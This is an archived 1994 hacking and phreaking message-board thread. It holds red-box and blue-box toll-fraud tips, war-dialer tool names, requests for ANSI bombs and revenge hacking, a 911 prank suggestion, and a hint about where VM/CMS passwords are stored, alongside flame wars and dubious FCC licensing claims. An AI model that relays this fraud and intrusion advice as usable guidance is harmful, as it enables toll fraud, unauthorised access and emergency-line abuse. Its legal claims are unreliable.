damm, why does anyone give a shit about red boxing, when you can blue box
off chile, el salvador, China, and so on, just scan for routing codes..
hey, what up with Celllular, .. forget red boxing. too fucking lame
hhaa,
Hasta
--=Call Backwarding=000
From SamIam@yabbs Thu Feb 3 10:05:19 1994
From: SamIam@yabbs
To: tknight@yabbs
Subject: re: ......
Date: Thu Feb 3 10:05:19 1994
Sure you can time your punches to 35ms? I think NOT!
From htoaster@yabbs Thu Feb 3 10:16:37 1994
From: htoaster@yabbs
To: all@yabbs
Subject: redboxing
Date: Thu Feb 3 10:16:37 1994
the radio shack dialer plays the codes way slow as well, compared to what
they really sound like. If you want to compare them in a nice and easy way
find a payfone that doesn't mute the handset when you drop quarters in
(lots of handsets still don't), tape the quarter tone, digitize it, and then
digitize your redbox. Put one on the left channel and one on the right
channel. Pretty big difference in speed, and the freqs are a little off
as well if you us a 6.5535 crystal (6.5 is better, 6.4xxx something is
supposed to be the best).
All of this redbox stuff is quite lame though. You aren't learning about
the system, just abusing it for your own personal benefit. They might have
been cool a few years ago, but who cares these days. Is it really that big
of a deal to pay a few dollars for ld calls...
If you really want a cool box look at the Hacktic demon dialer. I saw the
one that the 2600 people own a few years ago. Pretty impressive. And they
claim it can be put into a very small case (about the size of a memory
dialer, maybe smaller). Lets you pretty much program any two channel (or
maybe more) sound you want, set them up for hotkeys, has a access code you
need to type in to get to the fun stuff (otherwise it is just a dtmf
player). expensive though...
alex
From Phain@yabbs Thu Feb 3 13:35:04 1994
From: Phain@yabbs
To: all@yabbs
Subject: Pirate Radio?
Date: Thu Feb 3 13:35:04 1994
Greetings, all .
I was curious if anyone out there knew where I could locate
a phile or two about the setup of a pirate radio station . The
only refrence I've found was from a 'zine called Magick, and the
info was questionable .
I'm a mass comm major at a school with no attitude . We have
the equipment for a station, but we can't get funding for a licence.
Even if we did, the heads of the department would squash free thought.
I've got a group of people who want to invest the time involved . We
just need the info .
I've been all over the 'Net looking for info, but the kinds of
things usually listed under "radio" just don't cut it .
Thanx,
Phain.
"Information wants to be free"
-Bruce Sterling
From paradox@yabbs Thu Feb 3 14:34:02 1994
From: paradox@yabbs
To: binkley@yabbs
Subject: re: A nifty little C program...
Date: Thu Feb 3 14:34:02 1994
The one in philly? I was there from like 6 till 9....
From hawkwind@yabbs Thu Feb 3 15:28:24 1994
From: hawkwind@yabbs
To: jcjc@yabbs
Subject: re: red boxxxxxings lame
Date: Thu Feb 3 15:28:24 1994
Ok, so you suggest blue boxing off the trunk into another country..
- Great* --but how do you stop ole mother ESS's filter alarms going off
like a cat out of hell?
--and don't give me any of this pink-noise above 3000Hz stuff..
Any ideas?
Hawk.
From arachnoi@yabbs Thu Feb 3 16:22:47 1994
From: arachnoi@yabbs
To: hawkwind@yabbs
Subject: Officer Down
Date: Thu Feb 3 16:22:47 1994
Want to have some phun? 911 is a tandum to the local CO. dial 911 , yell
officer down and blow 2600 HZ Heheheheh
From hawkwind@yabbs Thu Feb 3 18:52:20 1994
From: hawkwind@yabbs
To: arachnoi@yabbs
Subject: re: Officer Down
Date: Thu Feb 3 18:52:20 1994
Now if only I was located in the US... still I reckon I might
just be able to find a way onto the US 911 tandum.. ;-)
From cosmos@yabbs Thu Feb 3 19:32:23 1994
From: cosmos@yabbs
To: all@yabbs
Subject: #hack = #phreak
Date: Thu Feb 3 19:32:23 1994
SO when did this forum become the phreaking forum?? Pffft...mister
bluebox over there I aint buying your load of crap.
Cosmos
From JasonLee@yabbs Thu Feb 3 21:11:50 1994
From: JasonLee@yabbs
To: htoaster@yabbs
Subject: re: redboxing
Date: Thu Feb 3 21:11:50 1994
There is also a program for DOS + sound blaster called BlueBeep which will
mix and match tones at whatever frequency you desire. What I'm planning
to do is to buy one of those talking Hallmark cards, take it apart, then
record the red box sound onto the device. It may just be abusing the
system, but I can't afford LD calls. Oh well....
JasonLee
From hello@yabbs Thu Feb 3 23:19:37 1994
From: hello@yabbs
To: Phain@yabbs
Subject: re: Pirate Radio?
Date: Thu Feb 3 23:19:37 1994
Dear Phain:
I have some stuff you may be interested in. check in @)mail
From cosmos@yabbs Fri Feb 4 06:00:14 1994
From: cosmos@yabbs
To: JasonLee@yabbs
Subject: re: redboxing
Date: Fri Feb 4 06:00:14 1994
When you care enough to cheat the very best...
Cosmos
From PHreedOm@yabbs Fri Feb 4 10:01:03 1994
From: PHreedOm@yabbs
To: JasonLee@yabbs
Subject: re: redboxing
Date: Fri Feb 4 10:01:03 1994
Have you more infos about BlueBeep?
Bye
PHreedOm
From Fastjack@yabbs Fri Feb 4 11:33:06 1994
From: Fastjack@yabbs
To: PHreedOm@yabbs
Subject: re: redboxing
Date: Fri Feb 4 11:33:06 1994
Hey---
The version of BlueBeep I have is <?> 007. I got it from an ftp site
[I'll have to look it up]....haven't used it yet but it seems to be a very
interesting program, by the docs...
You may also be interested in a program called ToneLoc. The newest
version I know of is .98 Beta 10....supposed to be the best scanner
program made...
If anyone knows where to find a copy of CodeThief to complete my
collection, let me know...
Fastjack
From JasonLee@yabbs Fri Feb 4 16:29:50 1994
From: JasonLee@yabbs
To: PHreedOm@yabbs
Subject: re: redboxing
Date: Fri Feb 4 16:29:50 1994
What more do you need to know?
JasonLee
From alung@yabbs Fri Feb 4 16:37:21 1994
From: alung@yabbs
To: PHreedOm@yabbs
Subject: re: 2600
Date: Fri Feb 4 16:37:21 1994
some Barnes & Noble bookstores also carry it
don't be affraid to ask at the info tesk, they can get it.
From Bolus@yabbs Fri Feb 4 18:35:27 1994
From: Bolus@yabbs
To: all@yabbs
Subject: RedBox..
Date: Fri Feb 4 18:35:27 1994
Does this red box stuff really work? I remember this program I had for
the C64 when I was 14 called PhoneMan. It supposedly made legit quarter
tones. I taped the tones, ran to the phonebooth and blasted them thru the
handset. Nothing happened. Is the red box usable on all pphone
system or was this program a piece of crap. It was on the 64..?
From binkley@yabbs Fri Feb 4 23:18:06 1994
From: binkley@yabbs
To: all@yabbs
Subject: Bluebox.
Date: Fri Feb 4 23:18:06 1994
I has a sound board, and 2 different blue box programs... They were all a
little bit off. Even the touch tone tones, wouldn't work. I taped the
whole thing on a mini-corder, and blasted them, but it didn't work...
From cosmos@yabbs Sat Feb 5 14:26:33 1994
From: cosmos@yabbs
To: Bolus@yabbs
Subject: re: RedBox..
Date: Sat Feb 5 14:26:33 1994
Its been forever since I have used it but yes, it still works on LONG
DISTANCE ATT calls. If you want to dial local you would have to use the
10att+acn to use it.
Cosmos
From amadeus@yabbs Sat Feb 5 15:12:11 1994
From: amadeus@yabbs
To: cosmos@yabbs
Subject: 6.5 chrystals
Date: Sat Feb 5 15:12:11 1994
so lemme get this straight...youtake the crystal and put it in the slot,
and then it makes these 5 little beeps and it gives you a quarters
credit?? gee, that seems 2 easy!
-----------I was sooooo lame when I first got a redbox...
From amadeus@yabbs Sat Feb 5 15:16:48 1994
From: amadeus@yabbs
To: tknight@yabbs
Subject: redboxing w/ a nomem tone d
Date: Sat Feb 5 15:16:48 1994
with the cover, you're gonna have to pry it open...but I _strongly_ advise
against useing one with no memory, cauz it's gonna take you a *long* time
to enter a 1.30$ when you're useing nickels... oh, and don't forget to use
10288!
From amadeus@yabbs Sat Feb 5 15:19:57 1994
From: amadeus@yabbs
To: tknight@yabbs
Subject: re: ......
Date: Sat Feb 5 15:19:57 1994
I have a better suggestion if you _really_ want to redbox...why don't you
get the VOC format of a 25 cent tone being entered, then record it onto
tape?? I have it, so email green@m-net.ann-arbor.mi.us if you wnat it!
From amadeus@yabbs Sat Feb 5 15:23:54 1994
From: amadeus@yabbs
To: Phain@yabbs
Subject: re: Pirate Radio?
Date: Sat Feb 5 15:23:54 1994
under current FCC regs, a fadio station isn't considered pirtae unless it
broadcasts more than 5 mile radius for more than 3 hours a day... if you
keep it under taht, you can have your station withouth teh fedz trying to
triangulate you...I'll look around for some ideas for ya.
From tknight@yabbs Sat Feb 5 17:20:06 1994
From: tknight@yabbs
To: all@yabbs
Subject: ....
Date: Sat Feb 5 17:20:06 1994
sorry about that little redbox question..i'm not that stupid..i just
missed the bluebox age and all....
i'm more intrested in learning about the phone sytem anyways..
i finally pried myself of my computer last night and went canning..didnt
do any beige boxing..was just mosooking for weird shit..
found a sticker that says all information on this trunk is in the cosmos
database..and igot some routing information..
no manuals or handsets but i dont really expect to get any out of a can...
ANyways,has anyone heard of DunsNet...
When you connect it says dunsnet and then they're running the same
networking shit as telenet(no iwont call it sprintnet,ever!)
the dnic is the same also but it wouldn't let me connect to anything..
some one said this might be like gte net in california but ihavent found
any valid addresses..
Sorry about the spaces between lines,net lag sucks.
tknight
From cosmos@yabbs Sat Feb 5 17:31:10 1994
From: cosmos@yabbs
To: amadeus@yabbs
Subject: re: 6.5 chrystals
Date: Sat Feb 5 17:31:10 1994
I wish I had a dictionary to explain sarcasm in my posts...sheesh.
Cosmos
From CB@yabbs Sun Feb 6 12:23:07 1994
From: CB@yabbs
To: amadeus@yabbs
Subject: re: redboxing w/ a nomem tone d
Date: Sun Feb 6 12:23:07 1994
I was wondering what you mean by the nickles. Some RBOCS change the tone
values around. But I don't see where this matters whether you use the
memory dialer or not.
Brinx
From zenamako@yabbs Mon Feb 7 00:45:22 1994
From: zenamako@yabbs
To: Fastjack@yabbs
Subject: re: redboxing
Date: Mon Feb 7 00:45:22 1994
In message re: redboxing, Fastjack said:
> If anyone knows where to find a copy of CodeThief to complete my
hmm, i have codethief 2.5...but it's pretty lame.. go for toneloc.. prolly the best scanner at the moment.. umm.. codethief is basically just an oldish scanner.. without the bells and whistles.. i *think* it scans more than just phone numb
zen
From DrClaw@yabbs Mon Feb 7 01:07:18 1994
From: DrClaw@yabbs
To: all@yabbs
Subject: internet breakings
Date: Mon Feb 7 01:07:18 1994
What do you people think about the new cert advisories?
Shit someone out there really is sitting pretty about now...
if you haven't read it i would highly suggest reading it..
hasta.
Dr_Claw
From cosmos@yabbs Mon Feb 7 06:04:36 1994
From: cosmos@yabbs
To: DrClaw@yabbs
Subject: re: internet breakings
Date: Mon Feb 7 06:04:36 1994
CERT?? Pfft.
Once again the mentally challenged CERT team has whipped up frenzy among
net users and terrified sysadmins everywhere with their latest *warning*.
Basically, it's PANIX reborn. Like usual, the warning is "hey everyone
there are nast uebercrackers using the same bugs that were used before
that we never bothered to tell you how to fix--just warning you again
folks!"
For the admin that has plenty of time and resources this problem was fixed
at their own hands before. But not all admins have plenty of time or
expertise to patch source code and to fix all the holes that CERT wont
tell them how to fix. Some poor admin running10 machines and half of a
university computer science department isnt going to have the resources to
do this.
pity.
Cosmos
From PHreedOm@yabbs Mon Feb 7 06:30:26 1994
From: PHreedOm@yabbs
To: JasonLee@yabbs
Subject: re: redboxing
Date: Mon Feb 7 06:30:26 1994
I need to know a site ftp that has the program BlueBeep
bye
PHreedOm
From Phain@yabbs Mon Feb 7 10:04:19 1994
From: Phain@yabbs
To: amadeus@yabbs
Subject: re: Pirate Radio?
Date: Mon Feb 7 10:04:19 1994
On de FCC laws, is it either 5 mile radius, or 3 hours ? Could I
broadcast for 8 hours with a one mile radius and the fedz not care?
Thanx,
Phain .
From xenon@yabbs Mon Feb 7 15:01:29 1994
From: xenon@yabbs
To: Phain@yabbs
Subject: re: Pirate Radio?
Date: Mon Feb 7 15:01:29 1994
In message re: Pirate Radio?, Phain said:
> On de FCC laws, is it either 5 mile radius, or 3 hours ? Could I
> broadcast for 8 hours with a one mile radius and the fedz not care?
You can broadcast all you want w/o a license for a 1 mile radius. I forget the
specific wattages off-hand...
From DrClaw@yabbs Mon Feb 7 22:57:40 1994
From: DrClaw@yabbs
To: all@yabbs
Subject: ansi bombs wanted
Date: Mon Feb 7 22:57:40 1994
ok this is a really stupid request ...but can anyone send me some text on
how to make ansi bombs or actualy send me some for both the macintosh and
pc....i would really appreciate it....
please mail an60249@anon.penet.fi
thanks....
From Jeremiah@yabbs Wed Feb 9 12:32:08 1994
From: Jeremiah@yabbs
To: DrClaw@yabbs
Subject: re: ansi bombs wanted
Date: Wed Feb 9 12:32:08 1994
I have a program that supposedly writes Ansi Bombs... I never really
checked it out... Tell me how I can get it to you, and we can arrange a
file transfer....
From Fastjack@yabbs Wed Feb 9 21:00:22 1994
From: Fastjack@yabbs
To: PHreedOm@yabbs
Subject: re: redboxing
Date: Wed Feb 9 21:00:22 1994
OK....
I don't know the site, but archie for
'bbeep007'. When I got it, it was in an incoming
directory somewhere, so it might not show up....
FJ
From CB@yabbs Wed Feb 9 23:32:59 1994
From: CB@yabbs
To: Jeremiah@yabbs
Subject: re: ansi bombs wanted
Date: Wed Feb 9 23:32:59 1994
I would like this program. If you could, UUencode it, then mail it to
erstaz@axposf.pa.dec.com
Thanks alot. Greatly appreciated.
Brinx
From NJDEVIL@yabbs Thu Feb 10 09:12:38 1994
From: NJDEVIL@yabbs
To: cosmos@yabbs
Subject: Trojan horse
Date: Thu Feb 10 09:12:38 1994
Cos, what's a trojan horse program? Is there any defense against
it? My home sys is being penetrated and some of us are getting annoyed.
any comments?
NJDEVIL
From PHreedOm@yabbs Thu Feb 10 12:18:49 1994
From: PHreedOm@yabbs
To: Fastjack@yabbs
Subject: re: redboxing
Date: Thu Feb 10 12:18:49 1994
thanks for the infoz. Now I'm finding the program .
bye
PHreedOm
From Gnarr@yabbs Thu Feb 10 21:40:00 1994
From: Gnarr@yabbs
To: all@yabbs
Subject: Just curoius.....
Date: Thu Feb 10 21:40:00 1994
I was wondering if anyonek knew how to hack Muses or would like to help me
out a little bit by showing me some stuff about Hacking? THis may sound
stupid to some people but I have just been itching to get this one Muse
bad for screwing me up BIG TIME and I don't know too much about Hacking.
From Dprogram@yabbs Fri Feb 11 00:39:44 1994
From: Dprogram@yabbs
To: Fastjack@yabbs
Subject: re: redboxing
Date: Fri Feb 11 00:39:44 1994
I haven't run it yet, but I have found "beep7.zip" in the /incoming
directory of cypher.com.
From cosmos@yabbs Fri Feb 11 07:12:03 1994
From: cosmos@yabbs
To: NJDEVIL@yabbs
Subject: re: Trojan horse
Date: Fri Feb 11 07:12:03 1994
SImply put, its like the story. A seemingly benign program that achieves
nasty results. Like a modified ls put in your directory that instead of
listing files deletes them.
Cosmos
From Jeremiah@yabbs Fri Feb 11 16:10:21 1994
From: Jeremiah@yabbs
To: CB@yabbs
Subject: re: ansi bombs wanted
Date: Fri Feb 11 16:10:21 1994
I have no idea how to do that, since I'm new to the net, so if you could
send me detailed information on how to set up everythinh and I'll me happy
to.
From Jeremiah@yabbs Fri Feb 11 16:12:49 1994
From: Jeremiah@yabbs
To: all@yabbs
Subject: Information
Date: Fri Feb 11 16:12:49 1994
Could someone out there recommend GOOD, informative
hacking/phreaking/etc. E-Magz out there? I'm interested in things from
Novice through Advanced.... Thanx
From Gnarr@yabbs Fri Feb 11 22:30:27 1994
From: Gnarr@yabbs
To: all@yabbs
Subject: hacking...
Date: Fri Feb 11 22:30:27 1994
Hi! i really want to get back at this shitty muse that really FUCKED me
up! I would just love to really mess htem up somehow. Problem is I know
nothing about hacking whatsoever and the only thing remotely hacking like
is getting lucky and guessing some guuys password on a Mud. I'd
appreciate it if somone would maybe help me out a bit?
++++++++++++++++++++++++++++
GnaRR
++++++++++++++++++++++++++++++
From Gnarr@yabbs Fri Feb 11 22:31:28 1994
From: Gnarr@yabbs
To: all@yabbs
Subject: re: hacking...
Date: Fri Feb 11 22:31:28 1994
I mean the only thing I've done is guess a password.
From cosmos@yabbs Sat Feb 12 14:20:23 1994
From: cosmos@yabbs
To: Gnarr@yabbs
Subject: re: hacking...
Date: Sat Feb 12 14:20:23 1994
You call crashing a MUSE hacking?? Get the fuck out of here and get a
goddamn clue.
Cosmos
(whos grumpier than usual)
From Gnarr@yabbs Sat Feb 12 14:50:18 1994
From: Gnarr@yabbs
To: cosmos@yabbs
Subject: re: hacking...
Date: Sat Feb 12 14:50:18 1994
Listen Asswipe. I said I knew very little about hacking. It was obvious by
my message and I don't need a littel fuck like you telling me that I
don't know anything cause I know that. All I did was ask for some help,
and I didn't need a motherfucking shithead to do this to me.
Gnarr
(WHo ain't to pleased himself)/s
From paradox@yabbs Sat Feb 12 15:44:13 1994
From: paradox@yabbs
To: all@yabbs
Subject: re: hacking...
Date: Sat Feb 12 15:44:13 1994
Am I the only one who's noticed that ftp.eff.org /pub/CuD has NOTHING in
it?
From htoaster@yabbs Sat Feb 12 16:09:18 1994
From: htoaster@yabbs
To: paradox@yabbs
Subject: re: hacking...
Date: Sat Feb 12 16:09:18 1994
In message re: hacking..., paradox said:
> Am I the only one who's noticed that ftp.eff.org /pub/CuD has NOTHING in
> it?
ftp etext.archive.umich.edu...
or use gopher from here and look through all of their stuff....mondo
text files
alex
From Xela@yabbs Sat Feb 12 16:33:48 1994
From: Xela@yabbs
To: paradox@yabbs
Subject: CuD
Date: Sat Feb 12 16:33:48 1994
I think EFF got tired of all the traffic so they don't shadow any stuff
anymore.
Try FTPing 141.211.164.18, /pub/CuD/cud
Have a better one...
Xela
From cosmos@yabbs Sat Feb 12 18:37:14 1994
From: cosmos@yabbs
To: Gnarr@yabbs
Subject: re: hacking...
Date: Sat Feb 12 18:37:14 1994
Cosmos
From cosmos@yabbs Sun Feb 13 15:26:17 1994
From: cosmos@yabbs
To: Gnarr@yabbs
Subject: re: hacking...
Date: Sun Feb 13 15:26:17 1994
Okay, seeing as I really did not think your shitty little request deserved
a reply before, I will make a brief one now.
Hacking is NOT, I repeat NOT a revenge tool or how do I crash someones
system. Hacking is an art form. It is exploration, finding a new method
to obtain something, using an unconventional means to obtain your goal.
Hacking NEVER invovles trashing a system or revenge. If that is what you
think it is then go join the rest of the media bandwagon and
cybershitheads who don't have the slightest goddamn clue.
Cosmos
From CB@yabbs Sun Feb 13 15:47:37 1994
From: CB@yabbs
To: Jeremiah@yabbs
Subject: re: ansi bombs wanted
Date: Sun Feb 13 15:47:37 1994
It is pretty easy. I am assuming that you are on a UNIX system. If you
are it will be a sinch. If you are on any other platform, and whould
similar to what I describe although probably not identical. There is a
program that converts 8 bit data to 7 bit data. I am not sure about the
techincal shit behind it. But you take a file such as fiffft.
uuencode fifft
I am pretty sure this is how it works. I am a trial and error guy. If it
doesn't work the first time, I try something different. If I get skitzed
out then I just use the man uuencode command (once again if you are on
unix). This will tell you how to do it. Depending on what mail program
you use the next part is easy. Once you have the file that is encoded,
say you are using the mail program do this:
mail erstaz@axposf.pa.dec.com < [uuencoded filename]
This mails me the file. If you use pine, then you can just attach the
file (without encodeing it), or at least I think you can. Anyway give it
a try. If you screw it up, then we will give it another try. The world
is not gonna end.
Brinx
thanks.
From CB@yabbs Sun Feb 13 15:51:52 1994
From: CB@yabbs
To: Jeremiah@yabbs
Subject: re: Information
Date: Sun Feb 13 15:51:52 1994
What sort of info are you looking for. I have apretty good collection of
texts on assorted things from bombmaking to pheaking, hacking and some
other shit to. Lemme know what you are into. Gimme an address, and I
will do what I can to send you some stuff. Other wise aracgoni spoke good
words, ftp.eff.org. Good site. Try phrack, nas and others. If you are
evern in a good bookstore look for hard copy of 2600. 4$/issue I think.
pretty good stuff too.
Lottsa luck
brinx
From Xela@yabbs Sun Feb 13 16:16:22 1994
From: Xela@yabbs
To: CB@yabbs
Subject: re: Information
Date: Sun Feb 13 16:16:22 1994
ftp.eff.org no longer carries phrack due to the amount of traffic it
receives. my earlier post carries an ftp address (umich, i think) which
has phrack.
more luck to ya
-alex
From Gnarr@yabbs Sun Feb 13 16:42:37 1994
From: Gnarr@yabbs
To: Cosmos@yabbs
Subject: re yeah okay
Date: Sun Feb 13 16:42:37 1994
WELL Cosmos, EXCUSE THE FUCK OUT OF ME!
From Madcap@yabbs Sun Feb 13 17:08:33 1994
From: Madcap@yabbs
To: all@yabbs
Subject: re: re yeah okay
Date: Sun Feb 13 17:08:33 1994
try ftp.netsys.com they usually have interesting shit including phrack
Cosmos: looks like your the only one that remembers what hacking
is really all about, not that i'm insulting anyone else here but it seems
like all you hear about anymore is sys crashing.
From binkley@yabbs Sun Feb 13 18:37:25 1994
From: binkley@yabbs
To: all@yabbs
Subject: Vax/VMS
Date: Sun Feb 13 18:37:25 1994
OK, I have an account on a VAX running VMS/CMS yada yada yada... Well the
other day I was playing around with some of the commands like LInk, and
ACC and define ect.. and then I did a download to get some stuff from my
minidisk... well, instead of saying kermit send *.zip I said *.* and I
went to bed. I woke up the next morning to find about 10 Megs of VMS
software, all the different file for it... So......
My question is... Does anybody know the name of the file which contains
account, and password information?? Cosmos, you must know!
From cosmos@yabbs Mon Feb 14 05:24:21 1994
From: cosmos@yabbs
To: Gnarr@yabbs
Subject: re: re yeah okay
Date: Mon Feb 14 05:24:21 1994
You still do not get it do you? Come back after you have hit puberty.
Cosmos
From cosmos@yabbs Mon Feb 14 05:30:45 1994
From: cosmos@yabbs
To: binkley@yabbs
Subject: re: Vax/VMS
Date: Mon Feb 14 05:30:45 1994
You confused me here...VMS/CMS???? A vax would run VMS yes, but maybe I
am out of touch but I doubt it runs VMS/CMS...I doubt that OS even exists!
Do you mean IBM's VM/CMS?? That is what I think you mean, especially with
talk of minidisks and such. If so, forget it. That info is stored on a
read only minidisk, you may be able to read it(I doubt it) but you will
never be able to write anything to it.
VM/CMS is worthless IMHO, I used it for a bit and hated every second of
it. Really nothing to do with it unless you love mainframes. As for VMS,
don't mess with that much but can find out for you. Tell me the exact
version and exact OS.
The only fun thing VM/CMS had(and I think it was fixed) was one annoying
"security" feature where if you tried to login incorrectly as someone more
than three times it shut their account down.
There was pandemonium at our uni after the Computer Sci geeks got hold of
that info...;)
Cosmos
From Nomad@yabbs Mon Feb 14 09:22:31 1994
From: Nomad@yabbs
To: all@yabbs
Subject: f1L3z
Date: Mon Feb 14 09:22:31 1994
I must say that I so terribly tired of seeing all these newbies asking
where that can get hacking files. I have read *countless* files and I have
learned very little from them. If you guys really want to learn how to
hack then you should first familarize yourself with the type(s) of systems
you wish to hack? If you want to hack a certain system type (i.e. unix)
then you should follow the following procedures:
a) Get some information. (libraries, bookstores, etc)
b) Get access. Everyone here appears to have access to the Internet. How
are you getting it? School? Pay account? Hacking?
c) Find someone knowledgeable. I know many unix users who have *never*
hacked but yet they know enough to do it quite successfully. So you do
not need to know other hackers to learn how to hack. I learned from
very little. I think I figured the shit out ok.
d) Do not call too many bbs systems. This will get you into a habit of
learning little trivial shit.
e) Study the references you have. After you learn how the system works
then get in contact with others. Find someone local. Shit I dunno. If
anyone here actually sent me mail about a problem they had doing
something or trying to figure out something I would help. If I got
mail from some dweeb asking if I new any bugs for IRIX I wouldn't waste
my time replying..
Do not sit back and expect the people who know the shit to just say 'here'
and just give you everything you need to know. I worked my ass off to
learn what I know and I am not about to give somebody help if they just
want to go netsurfing to see how many systems they can crack in a week.
The shit just does not work that way and it appears to me that alot of ppl
think that it does.
Crack a book.
Read it.
If you do not understand something then ask. I'm sure you will get bagged
on or ignored asking about the newest NFS bug. I'd rip anyone who bagged
on you for asking a question about something as simple as the format of
utmp because that involves thinking, C programming, etc.
Well my little lecture has come to an end. I could go on and on about
hacking pursuits just like my dad does about the army. But would you
listen?
I doubt it.
Nomad
From panzer@yabbs Mon Feb 14 11:34:36 1994
From: panzer@yabbs
To: all@yabbs
Subject: re: Hacking...
Date: Mon Feb 14 11:34:36 1994
Hacking is:
Kicking a little bean bag around with your feet...
Breaking into systems and crashing/trashing them...
Cutting things apart with large blades...
Doing ANYTHING in a way that is non-standard, but gets the job done.
Coughing your guts out and spewing vomit on people...
Breaking into systems and gaining knowledge and access...
Hacking is many things to many people. It is also something that everyone
has a different opinion about. Get a clue, and don't run endless
conversations about "what hacking is". This is about as pointless as
asking everyone what Cyberpunk is?
If people ask questions, maybe someone will answer them. Maybe they
won't. Personally, it's more fun for me to run a complete unix system
with 24 hour net access from my house. I am not associated with any
university. I have learned many things in setting this sustem up, and in
turn this is helping me find jobs that pay more than any type of hacking I
can do. And both options gain me network knowledge that I enjoy.
-Panzer
From Fastjack@yabbs Mon Feb 14 12:45:15 1994
From: Fastjack@yabbs
To: all@yabbs
Subject: Background info
Date: Mon Feb 14 12:45:15 1994
Helo...
Just wanted to know if anyone has any info on the 'wiz' backdoor.
YES, I know that if it ever existed, it DOES NOT anymore.
I just wanted a little bit of background and history, and it's
tough finding a good reference to an obsolete backdoor. Just that
innate sense of curiousity that causes some of us to figure this
shit out....
fastjack
From cosmos@yabbs Mon Feb 14 13:19:26 1994
From: cosmos@yabbs
To: Nomad@yabbs
Subject: re: f1L3z
Date: Mon Feb 14 13:19:26 1994
I hear you.
Cosmos
From Gnarr@yabbs Mon Feb 14 16:34:17 1994
From: Gnarr@yabbs
To: all@yabbs
Subject: okay..
Date: Mon Feb 14 16:34:17 1994
To nomad. At least I can thank you for being nice about it and not being
so blunt and shitty like cosmos. your long lecture(athough boring) was
informative. Thanks
p.s. I can understand why you feel teh way you do.
To COSMOS. Just who do you think you are? I didn't want to learn to hack
just to go crash places and fuck tehm up. you didn't have to be such a
fuckhead and arrogant about your response. Go rot in hell you little shit.
From feotus@yabbs Mon Feb 14 17:21:30 1994
From: feotus@yabbs
To: Gnarr@yabbs
Subject: re: okay..
Date: Mon Feb 14 17:21:30 1994
Im not really into flaming or nothing, but Gnarr, go buy a clue, take two
there small.
as if anyone would give you information to crash a muse. That's someone
elses work, there art piece, ther programming, there child etc...
dont mess with that shit cause of a few things also
1. If you dont know anyting now there is no way in hell that youl be able
to crack a system o crash it wuthout getting caught, no matter what they
tell ya.
2. you dont sound like someoneith the mentality to learn this stuff since
you are way to quick to go ballistic and hit the roof over petty things.
oh well, my version of hacking, well screw it why should I waste bandwidth
trying to tell it to ya.
From cosmos@yabbs Mon Feb 14 18:54:36 1994
From: cosmos@yabbs
To: Gnarr@yabbs
Subject: re: okay..
Date: Mon Feb 14 18:54:36 1994
You are pathetic, period. As for my arrogance, it is earned kiddie. This
is #hack not #crash, your stupidity and lameness have no business here.
Go back to your AMIGA and jerk off dicksmack.
Cosmos
From binkley@yabbs Tue Feb 15 00:45:03 1994
From: binkley@yabbs
To: cosmos@yabbs
Subject: re: Vax/VMS
Date: Tue Feb 15 00:45:03 1994
I tried loggin in myself twice, it would let me.. I believe you are right
VM/CMS BUt what is the file name?? It sure is a non-user friendly shit
ass os, but I'm gettin' the hang of it pretty good..
OQ
binkley
From cosmos@yabbs Tue Feb 15 05:23:27 1994
From: cosmos@yabbs
To: binkley@yabbs
Subject: re: Vax/VMS
Date: Tue Feb 15 05:23:27 1994
I still dont know what you want to do with VM/CMS, here is a good clue, do
you hasve to use PFKEYS like PF1 and so on for tasks...then it is
definately VM/CMS. ANyways, the password stuff should be under dirmaint.
Cosmos
From Pakratt@yabbs Tue Feb 15 11:18:34 1994
From: Pakratt@yabbs
To: Fastjack@yabbs
Subject: Re: Toneloc
Date: Tue Feb 15 11:18:34 1994
>>>>>[ Could you possibly tell me where to look for Tonloc on the net or
maybe give me something to look for using Archie?
Thanx, Pakratt ]<<<<<
From CB@yabbs Tue Feb 15 21:19:19 1994
From: CB@yabbs
To: Xela@yabbs
Subject: Phrack
Date: Tue Feb 15 21:19:19 1994
Shit, I knew that. I don't know what I was thinking when I posted that.
If I am not mistaken there is a list of other sites that carry it there.
Also wuarchive carries much shit. I don't know the proper address for
it. Anyone know?
Brinx (feelin just a little small than usual today)
From CB@yabbs Tue Feb 15 21:33:06 1994
From: CB@yabbs
To: CB@yabbs
Subject: Flame
Date: Tue Feb 15 21:33:06 1994
I think that an anti flame device would be useful in these parts.
Brinx
From binkley@yabbs Wed Feb 16 01:23:50 1994
From: binkley@yabbs
To: cosmos@yabbs
Subject: re: Vax/VMS
Date: Wed Feb 16 01:23:50 1994
Yep, PFKEYS yada yada yada... Dirmaint.??? dirmaint.*?!
From ytrew@yabbs Wed Feb 16 03:22:58 1994
From: ytrew@yabbs
To: all@yabbs
Subject: Binghampton
Date: Wed Feb 16 03:22:58 1994
Hmmmmm does anyone know about the C2 sec. running there? Whats up w/
that..... hmm BUT they are running it on Suns.. tell me what ya think?
One more thing.. if your from Penn.. near Pitt I'm curious about how
HS in the area access then net... I need to contact one of my friends
who lives there and knows that some area Hs have access to the net..
Thank Phreaks =)
From cosmos@yabbs Wed Feb 16 05:25:41 1994
From: cosmos@yabbs
To: binkley@yabbs
Subject: re: Vax/VMS
Date: Wed Feb 16 05:25:41 1994
Heh, VM/CMS alright. Get off it while you can. Passwords are plaintext
unless IBM got smart recently. Still, if you poke enough you can mount
many system minidisks from your little account. Why you would want to do
this is beyond me though!
Dirmaint is where you will find them if it is still the same. Been over a
year since I have touched a VM system.
Cosmos
From JasonLee@yabbs Wed Feb 16 15:21:05 1994
From: JasonLee@yabbs
To: arachnoi@yabbs
Subject: re: wuarchive
Date: Wed Feb 16 15:21:05 1994
What are you talking about?
JasonLee
From Pakratt@yabbs Wed Feb 16 15:25:22 1994
From: Pakratt@yabbs
To: arachnoi@yabbs
Subject: re: Re: Toneloc
Date: Wed Feb 16 15:25:22 1994
Thanx arachnoi. |8-]
From skippy@yabbs Wed Feb 16 15:40:31 1994
From: skippy@yabbs
To: cosmos@yabbs
Subject: re: Vax/VMS
Date: Wed Feb 16 15:40:31 1994
nope.... that bug... where the account freezes if you incorrectly login
3 tiimes is still there...
i work at IBM and have had that happen to me a few times... me
trying to type too fast ya know... :)
it might be that our system people just set it up that way...
i dunno...
--skip
From tknight@yabbs Wed Feb 16 18:06:15 1994
From: tknight@yabbs
To: all@yabbs
Subject: cut the shit.
Date: Wed Feb 16 18:06:15 1994
Ok,I'm with Nomad and Cosmos on this issue,you're probably not going to
learn shit from some file you ftp. Believe it or not I learned some of my
best information straaight from the damn manuals(for instance call your
local dec dealer,they'll send you just about anything you ask them for).
But hacking is not for revenge,it is for the exploration of digital
frontiers(oh shit,i'm starting to sound like an issue of wired)and not for
system crashing.
